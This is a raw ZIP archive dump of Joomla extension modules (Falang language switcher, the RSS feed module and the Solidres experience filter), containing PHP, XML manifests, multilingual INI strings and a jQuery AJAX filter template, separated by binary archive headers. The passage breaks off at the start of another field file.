					<option value="0">JNO</option>
					<option value="1">JYES</option>
				</field>
				<field
						name="advanced_dropdown"
						type="radio"
						class="btn-group btn-group-yesno"
						default="0"
						label="MOD_FALANG_FIELD_ADV_DROPDOWN_LABEL"
						description="MOD_FALANG_FIELD_ADV_DROPDOWN_DESC" >
					<option value="0">JNO</option>
					<option value="1">JYES</option>
				</field>
				<field name="spacer1" type="spacer" class="text"
					   label="MOD_FALANG_SPACERDROP_LABEL"
						/>

				<field
					name="inline"
					type="radio"
                    class="btn-group btn-group-yesno"
					default="1"
					label="MOD_FALANG_FIELD_INLINE_LABEL"
					description="MOD_FALANG_FIELD_INLINE_DESC" >
					<option value="0">JNO</option>
					<option value="1">JYES</option>
				</field>

				<field name="spacer2" type="spacer" class="text"
					   label="MOD_FALANG_COMMON_LABEL"
						/>

				<field
						name="show_active"
						type="radio"
						class="btn-group btn-group-yesno"
						default="1"
						label="MOD_FALANG_FIELD_ACTIVE_LABEL"
						description="MOD_FALANG_FIELD_ACTIVE_DESC" >
					<option value="0">JNO</option>
					<option value="1">JYES</option>
				</field>

				<field
						name="image"
						type="radio"
						class="btn-group btn-group-yesno"
						default="1"
						label="MOD_FALANG_FIELD_USEIMAGE_LABEL"
						description="MOD_FALANG_FIELD_USEIMAGE_DESC" >
					<option value="0">JNO</option>
					<option value="1">JYES</option>
				</field>
				<field
						name="show_name"
						type="radio"
						class="btn-group btn-group-yesno"
						default="0"
						label="MOD_FALANG_FIELD_SHOW_NAME_LABEL"
						description="MOD_FALANG_FIELD_SHOW_NAME_DESC" >
					<option value="0">JNO</option>
					<option value="1">JYES</option>
				</field>
				<field
					name="full_name"
					type="radio"
                    class="btn-group btn-group-yesno"
					default="1"
					label="MOD_FALANG_FIELD_FULL_NAME_LABEL"
					description="MOD_FALANG_FIELD_FULL_NAME_DESC" >
					<option value="0">JNO</option>
					<option value="1">JYES</option>
				</field>

				<field
						name="header_text"
						type="textarea"
						filter="safehtml"
						rows="3"
						cols="40"
						label="MOD_FALANG_FIELD_HEADER_LABEL"
						description="MOD_FALANG_FIELD_HEADER_DESC" />
				<field
						name="footer_text"
						type="textarea"
						filter="safehtml"
						rows="3"
						cols="40"
						label="MOD_FALANG_FIELD_FOOTER_LABEL"
						description="MOD_FALANG_FIELD_FOOTER_DESC" />

			</fieldset>
            <fieldset name="options" addfieldpath="/administrator/components/com_falang/models/fields">
                <!-- >>> [FREE] >>> -->
                <field
                        name="@notice_imagespath"
                        type="plaintext"
                        label="MOD_FALANG_FIELD_IMAGEPATH_LABEL"
                        description="MOD_FALANG_FIELD_IMAGEPATH_DESC"
                        default="MOD_FALANG_ONLY_PAID"
                        />
                <field
                        name="@notice_imagestype"
                        type="plaintext"
                        label="MOD_FALANG_FIELD_IMAGETYPE_LABEL"
                        description="MOD_FALANG_FIELD_IMAGETYPE_DESC"
                        default="MOD_FALANG_ONLY_PAID"
                        />

                <!-- <<< [FREE] <<< -->
                
            </fieldset>
			<fieldset name="advanced">
				<field
					name="layout"
					type="modulelayout"
					label="JFIELD_ALT_LAYOUT_LABEL"
					description="MOD_FALANG_FIELD_MODULE_LAYOUT_DESC" />
				<field
					name="moduleclass_sfx"
					type="text"
					label="COM_MODULES_FIELD_MODULECLASS_SFX_LABEL"
					description="COM_MODULES_FIELD_MODULECLASS_SFX_DESC" />

                <field
                    name="cache"
                    type="list"
                    default="1"
                    label="COM_MODULES_FIELD_CACHING_LABEL"
                    description="COM_MODULES_FIELD_CACHING_DESC">
                    <option
                        value="1">JGLOBAL_USE_GLOBAL</option>
                    <option
                        value="0">COM_MODULES_FIELD_VALUE_NOCACHING</option>
                </field>

				<field
					name="cache_time"
					type="text"
					default="900"
					label="COM_MODULES_FIELD_CACHE_TIME_LABEL"
					description="COM_MODULES_FIELD_CACHE_TIME_DESC" />

                <field
					name="cachemode"
					type="hidden"
					default="itemid">
					<option
						value="itemid"></option>
				</field>
			</fieldset>
		</fields>
	</config>
</extension>
PK!�LM9((mod_falang/mod_falang.phpnu&1i�<?php
/**
 * @package	Joomla.Site
 * @subpackage	MOD_FALANG
 * @copyright	Copyright (C) 2005 - 2011 Open Source Matters, Inc. All rights reserved.
 * @license		GNU General Public License version 2 or later; see LICENSE.txt
 */

// no direct access
defined('_JEXEC') or die;

// Include the syndicate functions only once
require_once(dirname(__FILE__)) . '/helper.php';

if (!modFaLangHelper::isFalangDriverActive()){
	echo JText::_("MOD_FALANG_PLUGIN_DRIVER_NOT_ENABLED");
	return;
}

$headerText	= JString::trim($params->get('header_text'));
$footerText	= JString::trim($params->get('footer_text'));



$list   = modFaLangHelper::getList($params);

$moduleclass_sfx = htmlspecialchars($params->get('moduleclass_sfx'));

require JModuleHelper::getLayoutPath('mod_falang', $params->get('layout', 'default'));
PK!�]h}�
�
mod_feed/tmpl/default.phpnu&1i�<?php
/**
 * @package     Joomla.Site
 * @subpackage  mod_feed
 *
 * @copyright   (C) 2006 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

use Joomla\CMS\Filter\OutputFilter;
use Joomla\CMS\HTML\HTMLHelper;
use Joomla\CMS\Language\Text;

// Check if feed URL has been set
if (empty ($rssurl))
{
	echo '<div>' . Text::_('MOD_FEED_ERR_NO_URL') . '</div>';

	return;
}

if (!empty($feed) && is_string($feed))
{
	echo $feed;
}
else
{
	$lang      = $app->getLanguage();
	$myrtl     = $params->get('rssrtl', 0);
	$direction = ' ';

	$isRtl = $lang->isRtl();

	if ($isRtl && $myrtl == 0)
	{
		$direction = ' redirect-rtl';
	}

	// Feed description
	elseif ($isRtl && $myrtl == 1)
	{
		$direction = ' redirect-ltr';
	}

	elseif ($isRtl && $myrtl == 2)
	{
		$direction = ' redirect-rtl';
	}

	elseif ($myrtl == 0)
	{
		$direction = ' redirect-ltr';
	}
	elseif ($myrtl == 1)
	{
		$direction = ' redirect-ltr';
	}
	elseif ($myrtl == 2)
	{
		$direction = ' redirect-rtl';
	}

	if ($feed !== false)
	{
		?>
		<div style="direction: <?php echo $rssrtl ? 'rtl' :'ltr'; ?>;" class="text-<?php echo $rssrtl ? 'right' : 'left'; ?> feed">
		<?php
		// Feed title
		if ($feed->title !== null && $params->get('rsstitle', 1))
		{
			?>
				<h2 class="<?php echo $direction; ?>">
					<a href="<?php echo htmlspecialchars($rssurl, ENT_COMPAT, 'UTF-8'); ?>" target="_blank" rel="noopener">
					<?php echo $feed->title; ?></a>
				</h2>
			<?php
		}
		// Feed date
		if ($params->get('rssdate', 1)) : ?>
			<h3>
			<?php echo HTMLHelper::_('date', $feed->publishedDate, Text::_('DATE_FORMAT_LC3')); ?>
			</h3>
		<?php endif;
		// Feed description
		if ($params->get('rssdesc', 1))
		{
		?>
			<?php echo $feed->description; ?>
			<?php
		}
		// Feed image
		if ($feed->image && $params->get('rssimage', 1)) :
		?>
			<img src="<?php echo $feed->image->uri; ?>" alt="<?php echo $feed->image->title; ?>"/>
		<?php endif; ?>


	<!-- Show items -->
	<?php if (!empty($feed))
	{ ?>
		<ul class="newsfeed">
		<?php for ($i = 0, $max = min(count($feed), $params->get('rssitems', 3)); $i < $max; $i++) { ?>
			<?php
				$uri  = $feed[$i]->uri || !$feed[$i]->isPermaLink ? trim($feed[$i]->uri) : trim($feed[$i]->guid);
				$uri  = !$uri || stripos($uri, 'http') !== 0 ? $rssurl : $uri;
				$text = $feed[$i]->content !== '' ? trim($feed[$i]->content) : '';
			?>
				<li>
					<?php if (!empty($uri)) : ?>
						<span class="feed-link">
						<a href="<?php echo htmlspecialchars($uri, ENT_COMPAT, 'UTF-8'); ?>" target="_blank" rel="noopener">
						<?php echo trim($feed[$i]->title); ?></a></span>
					<?php else : ?>
						<span class="feed-link"><?php echo trim($feed[$i]->title); ?></span>
					<?php endif; ?>

					<?php if ($params->get('rssitemdate', 0)) : ?>
						<div class="feed-item-date">
							<?php echo HTMLHelper::_('date', $feed[$i]->publishedDate, Text::_('DATE_FORMAT_LC3')); ?>
						</div>
					<?php endif; ?>

					<?php if ($params->get('rssitemdesc', 1) && $text !== '') : ?>
						<div class="feed-item-description">
						<?php
							// Strip the images.
							$text = OutputFilter::stripImages($text);
							$text = HTMLHelper::_('string.truncate', $text, $params->get('word_count', 0));
							echo str_replace('&apos;', "'", $text);
						?>
						</div>
					<?php endif; ?>
				</li>
		<?php } ?>
		</ul>
	<?php } ?>
	</div>
	<?php }
}
PK!�n�ߖ�mod_feed/helper.phpnu�[���<?php
/**
 * @package     Joomla.Site
 * @subpackage  mod_feed
 *
 * @copyright   Copyright (C) 2005 - 2019 Open Source Matters, Inc. All rights reserved.
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

/**
 * Helper for mod_feed
 *
 * @since  1.5
 */
class ModFeedHelper
{
	/**
	 * Retrieve feed information
	 *
	 * @param   \Joomla\Registry\Registry  $params  module parameters
	 *
	 * @return  JFeedReader|string
	 */
	public static function getFeed($params)
	{
		// Module params
		$rssurl = $params->get('rssurl', '');

		// Get RSS parsed object
		try
		{
			$feed   = new JFeedFactory;
			$rssDoc = $feed->getFeed($rssurl);
		}
		catch (Exception $e)
		{
			return JText::_('MOD_FEED_ERR_FEED_NOT_RETRIEVED');
		}

		if (empty($rssDoc))
		{
			return JText::_('MOD_FEED_ERR_FEED_NOT_RETRIEVED');
		}

		if ($rssDoc)
		{
			return $rssDoc;
		}
	}
}
PK! ��||mod_feed/mod_feed.xmlnu&1i�<?xml version="1.0" encoding="utf-8"?>
<extension type="module" client="site" method="upgrade">
	<name>mod_feed</name>
	<author>Joomla! Project</author>
	<creationDate>July 2005</creationDate>
	<copyright>(C) 2005 Open Source Matters, Inc.</copyright>
	<license>GNU General Public License version 2 or later; see LICENSE.txt</license>
	<authorEmail>admin@joomla.org</authorEmail>
	<authorUrl>www.joomla.org</authorUrl>
	<version>3.0.0</version>
	<description>MOD_FEED_XML_DESCRIPTION</description>
	<namespace path="src">Joomla\Module\Feed</namespace>
	<files>
		<filename module="mod_feed">mod_feed.php</filename>
		<folder>src</folder>
		<folder>tmpl</folder>
	</files>
	<languages>
		<language tag="en-GB">language/en-GB/mod_feed.ini</language>
		<language tag="en-GB">language/en-GB/mod_feed.sys.ini</language>
	</languages>
	<help key="JHELP_EXTENSIONS_MODULE_MANAGER_FEED_DISPLAY" />
	<config>
		<fields name="params">
			<fieldset name="basic">
				<field
					name="rssurl"
					type="url"
					label="MOD_FEED_FIELD_RSSURL_LABEL"
					size="50"
					filter="url"
					required="true"
					validate="url"
				/>

				<field
					name="rssrtl"
					type="radio"
					layout="joomla.form.field.radio.switcher"
					label="MOD_FEED_FIELD_RTL_LABEL"
					default="0"
					filter="integer"
					>
					<option value="0">JNO</option>
					<option value="1">JYES</option>
				</field>

				<field
					name="rsstitle"
					type="radio"
					layout="joomla.form.field.radio.switcher"
					label="MOD_FEED_FIELD_RSSTITLE_LABEL"
					default="1"
					filter="integer"
					>
					<option value="0">JHIDE</option>
					<option value="1">JSHOW</option>
				</field>

				<field
					name="rssdesc"
					type="radio"
					layout="joomla.form.field.radio.switcher"
					label="MOD_FEED_FIELD_DESCRIPTION_LABEL"
					default="1"
					filter="integer"
					>
					<option value="0">JHIDE</option>
					<option value="1">JSHOW</option>
				</field>

				<field
					name="rssdate"
					type="radio"
					label="MOD_FEED_FIELD_DATE_LABEL"
					layout="joomla.form.field.radio.switcher"
					default="0"
					>
					<option value="0">JNO</option>
					<option value="1">JYES</option>
				</field>

				<field
					name="rssimage"
					type="radio"
					layout="joomla.form.field.radio.switcher"
					label="MOD_FEED_FIELD_IMAGE_LABEL"
					default="1"
					filter="integer"
					>
					<option value="0">JHIDE</option>
					<option value="1">JSHOW</option>
				</field>

				<field
					name="rssitems"
					type="number"
					label="MOD_FEED_FIELD_ITEMS_LABEL"
					default="3"
					filter="integer"
				/>

				<field
					name="rssitemdesc"
					type="radio"
					layout="joomla.form.field.radio.switcher"
					label="MOD_FEED_FIELD_ITEMDESCRIPTION_LABEL"
					default="1"
					filter="integer"
					>
					<option value="0">JHIDE</option>
					<option value="1">JSHOW</option>
				</field>

				<field
					name="rssitemdate"
					type="radio"
					label="MOD_FEED_FIELD_ITEMDATE_LABEL"
					layout="joomla.form.field.radio.switcher"
					default="0"
					filter="integer"
					>
					<option value="0">JNO</option>
					<option value="1">JYES</option>
				</field>

				<field
					name="word_count"
					type="text"
					label="MOD_FEED_FIELD_WORDCOUNT_LABEL"
					description="MOD_FEED_FIELD_WORDCOUNT_DESC"
					size="6"
					default="0"
					filter="integer"
				/>
			</fieldset>
			<fieldset name="advanced">
				<field
					name="layout"
					type="modulelayout"
					label="JFIELD_ALT_LAYOUT_LABEL"
					class="form-select"
					validate="moduleLayout"
				/>

				<field
					name="moduleclass_sfx"
					type="textarea"
					label="COM_MODULES_FIELD_MODULECLASS_SFX_LABEL"
					rows="3"
					validate="CssIdentifier"
				/>

				<field
					name="cache"
					type="list"
					label="COM_MODULES_FIELD_CACHING_LABEL"
					default="1"
					filter="integer"
					validate="options"
					>
					<option value="1">JGLOBAL_USE_GLOBAL</option>
					<option value="0">COM_MODULES_FIELD_VALUE_NOCACHING</option>
				</field>

				<field
					name="cache_time"
					type="number"
					label="COM_MODULES_FIELD_CACHE_TIME_LABEL"
					default="900"
					filter="integer"
				/>
			</fieldset>
		</fields>
	</config>
</extension>
PK!Tx��mod_feed/mod_feed.phpnu&1i�<?php
/**
 * @package     Joomla.Site
 * @subpackage  mod_feed
 *
 * @copyright   (C) 2005 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

use Joomla\CMS\Helper\ModuleHelper;
use Joomla\Module\Feed\Site\Helper\FeedHelper;

$rssurl = $params->get('rssurl', '');
$rssrtl = $params->get('rssrtl', 0);

$feed = FeedHelper::getFeed($params);

require ModuleHelper::getLayoutPath('mod_feed', $params->get('layout', 'default'));
PK!�����Jmod_sr_experience_filter/language/ru-RU/ru-RU.mod_sr_experience_filter.ininu&1i�MOD_SR_EXPERIENCE_FILTER="Solidres - Модуль фильтра туров"
MOD_SR_EXPERIENCE_FILTER_XML_DESCRIPTION="Этот модуль показывает фильтры на фронтэнде для того, чтобы выбирать туры, отфильтрованные по: категории, ценовому диапазону, партнеру, типу передвижения, продолжительности (дней/часов)."
SR_FILTER_CATEGORY="Категория"
SR_FILTER_RANGE_BY_PRICE="Ценовой диапазон"
SR_FILTER_FROM_OWNER="Автор тура"
SR_FILTER_TRANSPORTATION="Передвижения"
SR_FILTER_DURATION_DAYS="Продолжительность (дней)"
SR_FILTER_DURATION_HOURS="Продолжительность (часов)"
SR_MENU_ID_SELECT="Выберите ID меню"
SR_FILTER_REVIEW_SCORE="Рейтинг"
SR_FILTER_DISTANCE_FROM_CITY_CENTRE_KM="Расстояние от центра города (км)"PK!�䐻��Nmod_sr_experience_filter/language/ru-RU/ru-RU.mod_sr_experience_filter.sys.ininu&1i�MOD_SR_EXPERIENCE_FILTER="Solidres - Модуль фильтра туров"
MOD_SR_EXPERIENCE_FILTER_XML_DESCRIPTION="Этот модуль показывает фильтры на фронтэнде для того, чтобы выбирать туры, отфильтрованные по: категории, ценовому диапазону, партнеру, типу передвижения, продолжительности (дней/часов)."PK!ݭ}Nmod_sr_experience_filter/language/de-DE/de-DE.mod_sr_experience_filter.sys.ininu&1i�MOD_SR_EXPERIENCE_FILTER="Solidres - Modul Erlebnis Filter"
MOD_SR_EXPERIENCE_FILTER_XML_DESCRIPTION="Dieses Modul zeigt Filter im Front End an, um Erlebnisse in der Suche zu filtern. Unterstützte Filter sind: Kategorie, Preisspanne, Partner, Transport, Dauer (Tag/Stunde)"
PK!�pL~~Jmod_sr_experience_filter/language/de-DE/de-DE.mod_sr_experience_filter.ininu&1i�MOD_SR_EXPERIENCE_FILTER="Solidres - Modul Erlebnis Filter"
MOD_SR_EXPERIENCE_FILTER_XML_DESCRIPTION="Dieses Modul zeigt Filter im Front End an um Erlebnisse in der Suche zu filtern. Unterstützte Filter sind: Kategorie, Preisspanne, Partner, Transport, Dauer (Tag/Stunde)"
SR_FILTER_CATEGORY="Kategorie"
SR_FILTER_RANGE_BY_PRICE="Preisspanne"
SR_FILTER_FROM_OWNER="Von Besitzer"
SR_FILTER_TRANSPORTATION="Transport"
SR_FILTER_DURATION_DAYS="Dauer (Tage)"
SR_FILTER_DURATION_HOURS="Dauer (Stunden)"
SR_MENU_ID_SELECT="Wähle eine Menü ID"
SR_FILTER_REVIEW_SCORE="Bewertung"
SR_FILTER_DISTANCE_FROM_CITY_CENTRE_KM="Vom Stadtzentrum (km)"
PK!�1ϣ""Nmod_sr_experience_filter/language/en-GB/en-GB.mod_sr_experience_filter.sys.ininu&1i�MOD_SR_EXPERIENCE_FILTER="Solidres - Module experience filter"
MOD_SR_EXPERIENCE_FILTER_XML_DESCRIPTION="This modules shows filters in front end to allow filtering experiences in the search results. Supported filters are: category, price range, partner, transportation, duration (day/hour)"PK!��=���Jmod_sr_experience_filter/language/en-GB/en-GB.mod_sr_experience_filter.ininu&1i�MOD_SR_EXPERIENCE_FILTER="Solidres - Module experience filter"
MOD_SR_EXPERIENCE_FILTER_XML_DESCRIPTION="This modules shows filters in front end to allow filtering experiences in the search results. Supported filters are: category, price range, partner, transportation, duration (day/hour)"
SR_FILTER_CATEGORY="Category"
SR_FILTER_RANGE_BY_PRICE="Price range"
SR_FILTER_FROM_OWNER="From owner"
SR_FILTER_TRANSPORTATION="Transportation"
SR_FILTER_DURATION_DAYS="Duration (days)"
SR_FILTER_DURATION_HOURS="Duration (hours)"
SR_MENU_ID_SELECT="Select a menu ID"
SR_FILTER_REVIEW_SCORE="Review score"
SR_FILTER_DISTANCE_FROM_CITY_CENTRE_KM="From city centre (km)"PK!�sm�55Jmod_sr_experience_filter/language/he-IL/he-IL.mod_sr_experience_filter.ininu&1i�MOD_SR_EXPERIENCE_FILTER="Solidres - מודול מסנן חוויות "
MOD_SR_EXPERIENCE_FILTER_XML_DESCRIPTION="מודולים אלה מציגים מסננים בחזית על מנת לאפשר סינון חוויות בתוצאות החיפוש. מסננים נתמכים הם: קטגוריה, טווח מחירים, שותף, תחבורה, משך זמן (יום / שעה)"
SR_FILTER_CATEGORY="קטגוריה"
SR_FILTER_RANGE_BY_PRICE="טווח מחירים"
SR_FILTER_FROM_OWNER="מאת הבעלים"
SR_FILTER_TRANSPORTATION="תחבורה"
SR_FILTER_DURATION_DAYS="משך זמן (ימים)"
SR_FILTER_DURATION_HOURS="משך זמן (שעות)"
SR_MENU_ID_SELECT="בחר מזהה תפריט"
SR_FILTER_REVIEW_SCORE="דירוג"
SR_FILTER_DISTANCE_FROM_CITY_CENTRE_KM="מרחק ממרכז העיר (קילומטרים)"PK!�>�xxNmod_sr_experience_filter/language/he-IL/he-IL.mod_sr_experience_filter.sys.ininu&1i�MOD_SR_EXPERIENCE_FILTER="Solidres - מודול מסנן חוויות "
MOD_SR_EXPERIENCE_FILTER_XML_DESCRIPTION="מודולים אלה מציגים מסננים בחזית על מנת לאפשר סינון חוויות בתוצאות החיפוש. מסננים נתמכים הם: קטגוריה, טווח מחירים, שותף, תחבורה, משך זמן (יום / שעה)"PK!<�rOO)mod_sr_experience_filter/forms/filter.xmlnu&1i�<?xml version="1.0" encoding="utf-8"?>
<form>
    <fieldset name="filter">
        <field
                name="cat"
                type="FilterByCategory"
                label="SR_FILTER_CATEGORY"
                class="exp_filter"
                multiple="true"
        />
        <field
                name="range"
                type="RangeByPrice"
                label="SR_FILTER_RANGE_BY_PRICE"
                class="exp_filter"
        />
        <field
                name="owner"
                type="FilterByPartner"
                label="SR_FILTER_FROM_OWNER"
                class="exp_filter"
        />
        <field
                name="tran"
                type="FilterByTransportation"
                label="SR_FILTER_TRANSPORTATION"
                class="exp_filter"
        />
        <field
                name="review"
                type="FilterByReview"
                label="SR_FILTER_REVIEW_SCORE"
                class="exp_filter"
        />
        <field
                name="distance"
                type="FilterByDistance"
                label="SR_FILTER_DISTANCE_FROM_CITY_CENTRE_KM"
                class="exp_filter"
        />
        <field
                name="tag"
                type="FilterByTag"
                label="JTAG"
                class="exp_filter"
        />
    </fieldset>
</form>
PK!Z�jee5mod_sr_experience_filter/mod_sr_experience_filter.xmlnu&1i�<?xml version="1.0" encoding="utf-8"?>
<extension type="module" version="3.1" client="site" method="upgrade">
    <name>mod_sr_experience_filter</name>
    <author>Solidres</author>
    <creationDate>Dec 2019</creationDate>
    <copyright>Copyright (C) 2013 - 2019 Solidres. All rights reserved.</copyright>
    <license>GNU General Public License version 3, or later</license>
    <authorEmail>contact@solidres.com</authorEmail>
    <authorUrl>http://www.solidres.com</authorUrl>
    <version>0.3.0</version>
    <description>MOD_SR_EXPERIENCE_FILTER_XML_DESCRIPTION</description>
    <files>
        <filename module="mod_sr_experience_filter">mod_sr_experience_filter.php</filename>
        <filename>mod_sr_experience_filter.xml</filename>
        <filename>helper.php</filename>
        <filename>checksums</filename>
        <folder>fields</folder>
        <folder>forms</folder>
        <folder>language</folder>
        <folder>tmpl</folder>
    </files>
    <config>
        <fields name="params">
            <fieldset name="basic">
                <field
                        name="Itemid"
                        type="menuitem"
                        label="SR_MENU_ID_SELECT"/>
            </fieldset>
            <fieldset
                    name="advanced">
                <field
                        name="layout"
                        type="modulelayout"
                        label="JFIELD_ALT_LAYOUT_LABEL"
                        description="JFIELD_ALT_MODULE_LAYOUT_DESC"/>
                <field
                        name="moduleclass_sfx"
                        type="textarea" rows="3"
                        label="COM_MODULES_FIELD_MODULECLASS_SFX_LABEL"
                        description="COM_MODULES_FIELD_MODULECLASS_SFX_DESC"/>

                <field
                        name="cache"
                        type="list"
                        default="1"
                        label="COM_MODULES_FIELD_CACHING_LABEL"
                        description="COM_MODULES_FIELD_CACHING_DESC">
                    <option
                            value="1">JGLOBAL_USE_GLOBAL
                    </option>
                    <option
                            value="0">COM_MODULES_FIELD_VALUE_NOCACHING
                    </option>
                </field>

                <field
                        name="cache_time"
                        type="text"
                        default="900"
                        label="COM_MODULES_FIELD_CACHE_TIME_LABEL"
                        description="COM_MODULES_FIELD_CACHE_TIME_DESC"/>
                <field
                        name="cachemode"
                        type="hidden"
                        default="static">
                    <option
                            value="static"></option>
                </field>
            </fieldset>
        </fields>
    </config>
</extension>
PK!�'��5mod_sr_experience_filter/mod_sr_experience_filter.phpnu&1i�<?php
/**
 ------------------------------------------------------------------------
 SOLIDRES - Accommodation booking extension for Joomla
 ------------------------------------------------------------------------
 * @author    Solidres Team <contact@solidres.com>
 * @website   https://www.solidres.com
 * @copyright Copyright (C) 2013 - 2019 Solidres. All Rights Reserved.
 * @license   GNU General Public License version 3, or later
 ------------------------------------------------------------------------
 */

defined('_JEXEC') or die;

if (SRPlugin::isEnabled('experience'))
{
	require_once __DIR__ . '/helper.php';

	$moduleclass_sfx = htmlspecialchars($params->get('moduleclass_sfx'));
	$form            = ModSRExperienceFilterHelper::getForm();

	require JModuleHelper::getLayoutPath('mod_sr_experience_filter', $params->get('layout', 'default'));
}
else
{
	echo 'Please enable Solidres Experience plugin to use this module!';
}PK!���)mod_sr_experience_filter/tmpl/default.phpnu&1i�<?php
/**
 ------------------------------------------------------------------------
 SOLIDRES - Accommodation booking extension for Joomla
 ------------------------------------------------------------------------
 * @author    Solidres Team <contact@solidres.com>
 * @website   https://www.solidres.com
 * @copyright Copyright (C) 2013 - 2019 Solidres. All Rights Reserved.
 * @license   GNU General Public License version 3, or later
 ------------------------------------------------------------------------
 */

/*
 * This layout file can be overridden by copying to:
 *
 * /templates/TEMPLATENAME/html/mod_sr_experience_filter/default.php
 *
 * However, occasionally we will need to update template/layout related files and it is the template developers'
 * responsibility to update the overridden files (if any) to maintain full compatibility with Solidres.
 *
 * We do not provide support if any of the overridden files are out of date and are not compatible with Solidres.
 *
 * @version 2.8.0
 */

defined('_JEXEC') or die;
/** @var $form \JForm */

$input        = JFactory::getApplication()->input;
$Itemid       = (int) $params->get('Itemid', 0);
$activeItemId = (int) $input->getUint('Itemid', 0);
$option       = $input->get('option');
$view         = $input->get('view');
$redirect     = $option !== 'com_solidres' || $view !== 'experiences' || !$Itemid || $Itemid !== $activeItemId;

if ($Itemid)
{
	$baseUrl = JRoute::_(SRExperienceHelper::getItemsRoute(array(), $Itemid), false);
}
else
{
	$baseUrl = JUri::getInstance()->toString();
}

JFactory::getDocument()->addStyleDeclaration(
	'.solidres-module-experience-filter fieldset{margin: 0 0 10px 0}'
	. '.solidres-module-experience-filter label>h4{margin: 0}'
);

?>

<div id="solidres-module-experience-<?php echo $module->id; ?>"
     class="sr-experience solidres-module-experience-filter <?php echo SR_UI; ?>">
	<?php foreach ($form->getFieldset('filter') as $field): ?>
        <label>
            <h4><?php echo JText::_($field->getAttribute('label')); ?></h4>
        </label>
		<?php echo $field->input; ?>
	<?php endforeach; ?>
</div>
<script>
    Solidres.jQuery(document).ready(function ($) {
        var wrapper = $('#sr-exp-container-items');
        var filterCallback = function () {
            var
                search = location.search ? location.search.substr(1) : '',
                params = {};
            search = search.split('&');

            if (search.length) {
                for (var i = 0, n = search.length; i < n; i++) {
                    var parts = search[i].split('=');
                    if (parts.length === 2) {
                        if (parts[0] === 'ordering' || parts[0] === 'direction' || parts[0] === 'mode') {
                            params[parts[0]] = parts[1];
                        }
                    }
                }
            }

            $('.exp_filter input[type="checkbox"]:checked').each(function () {
                var
                    checkbox = $(this),
                    name = checkbox.attr('name').toString().replace(/(\[\])$/g, '');
                if (typeof params[name] === 'undefined') {
                    params[name] = checkbox.val().toString();
                } else {
                    params[name] += '|' + checkbox.val().toString();
                }
            });

            var distance = '0-0';

            if ($('.sr-range-distance input').length) {
                distance = $('.sr-range-distance input').val().toString().replace(/[^0-9\-\.]/g, '');
                params.distance = distance;
            }

            $.ajax({
                url: '<?php echo JUri::root(true) . '/index.php?option=com_solidres&task=experiences.filter'; ?>',
                type: 'post',
                dataType: 'json',
                data: {
                    Itemid: '<?php echo $Itemid; ?>',
                    baseUrl: '<?php echo $baseUrl; ?>',
                    params: params,
                    moduleId: <?php echo (int) $module->id; ?>
                },
                success: function (response) {
                    wrapper.removeClass('loading');
                    if (response.success) {
                        var html = $('<div>' + response.data.html + '</div>').find('#sr-exp-container-items').html();
                        var module = $(response.data.contentModule).html();

						<?php if($redirect): ?>
                        location.href = response.data.page;
						<?php else: ?>

                        if (history.pushState) {
                            history.pushState({
                                    contentHtml: html,
                                    contentModule: module
                                }, document.title, response.data.page
                            );
                        }

                        wrapper.html(html);

                        if (module.length) {
                            $('#solidres-module-experience-<?php echo $module->id; ?>').html(module);
                        }

                        if (typeof window.distanceSlider === 'function') {
                            window.distanceSlider(distance);
                        }

                        if (wrapper.length) {
                            $('html, body').animate({
                                scrollTop: wrapper.offset().top
                            }, 400);
                        }

						<?php endif; ?>
                    } else {
                        alert(response.message);
                    }
                }
            });
        };

        $('.solidres-module-experience-filter ').on('change', '.sr-range-distance input, .exp_filter input[type="checkbox"]', function (e) {
            e.preventDefault();
			<?php if(!$redirect): ?>
            wrapper.addClass('loading');
			<?php endif; ?>
            filterCallback();
        });

        $(window).on('popstate', function () {
            if (history.state && history.state.contentHtml) {
                wrapper.html(history.state.contentHtml);
                if (history.state.contentModule.length) {
                    $('#solidres-module-experience-<?php echo $module->id; ?>').html(history.state.contentModule);
                }
            }
        });
    });
</script>
PK!D\�l	l	/mod_sr_experience_filter/fields/filterbytag.phpnu&1i�<?php

/**
 ------------------------------------------------------------------------
 SOLIDRES - Accommodation booking extension for Joomla
 ------------------------------------------------------------------------
 * @author    Solidres Team <contact@solidres.com>
 * @website   https://www.solidres.com
 * @copyright Copyright (C) 2013 - 2019 Solidres. All Rights Reserved.
 * @license   GNU General Public License version 3, or later
 ------------------------------------------------------------------------
 */

defined('_JEXEC') or die;

use Joomla\CMS\Component\ComponentHelper;
use Joomla\CMS\Factory;
use Joomla\CMS\Language\Multilanguage;

JFormHelper::loadFieldClass('checkboxes');

class JFormFieldFilterByTag extends JFormFieldCheckboxes
{
	protected $type = 'FilterByTag';

	protected function getOptions()
	{
		$app   = Factory::getApplication();
		$db    = Factory::getDbo();
		$query = $db->getQuery(true)
			->select('DISTINCT a.alias AS value, a.title AS text, ' . $db->q('') . ' AS checked')
			->from('#__tags AS a')
			->join('INNER', $db->quoteName('#__contentitem_tag_map', 'm') . ' ON ' . $db->quoteName('m.tag_id') . ' = ' . $db->quoteName('a.id'))
			->join('LEFT', $db->quoteName('#__tags', 'a2') . ' ON a.lft > a2.lft AND a.rgt < a2.rgt')
			->where('a.lft > 0 AND a.published = 1')
			->where('m.type_alias = ' . $db->quote('com_solidres.experience'))
			->order('a.lft ASC');

		if (Multilanguage::isEnabled())
		{
			$lang = ComponentHelper::getParams('com_tags')->get('tag_list_language_filter');

			if ($lang == 'current_language')
			{
				$query->where('a.language in (' . $db->quote($app->getLanguage()->getTag()) . ',' . $db->quote('*') . ')');
			}
		}

		$db->setQuery($query);

		try
		{
			$options = $db->loadObjectList();
		}
		catch (\RuntimeException $e)
		{
			return [];
		}

		$options    = array_merge(parent::getOptions(), $options);
		$filterData = $app->getUserState('com_solidres.experience.filterData', []);
		$active     = explode('|', $app->input->getString('tag', ''));

		foreach ($options as $option)
		{
			$value = trim($option->value);

			if ($filterData && !empty($filterData['tag'][$value]))
			{
				$option->text .= ' (' . $filterData['tag'][$value] . ')';
			}

			if (in_array($value, $active))
			{
				$option->checked = 1;
			}
		}

		return $options;
	}

}
PK!�0����2mod_sr_experience_filter/fields/filterbyreview.phpnu&1i�<?php
/**
 ------------------------------------------------------------------------
 SOLIDRES - Accommodation booking extension for Joomla
 ------------------------------------------------------------------------
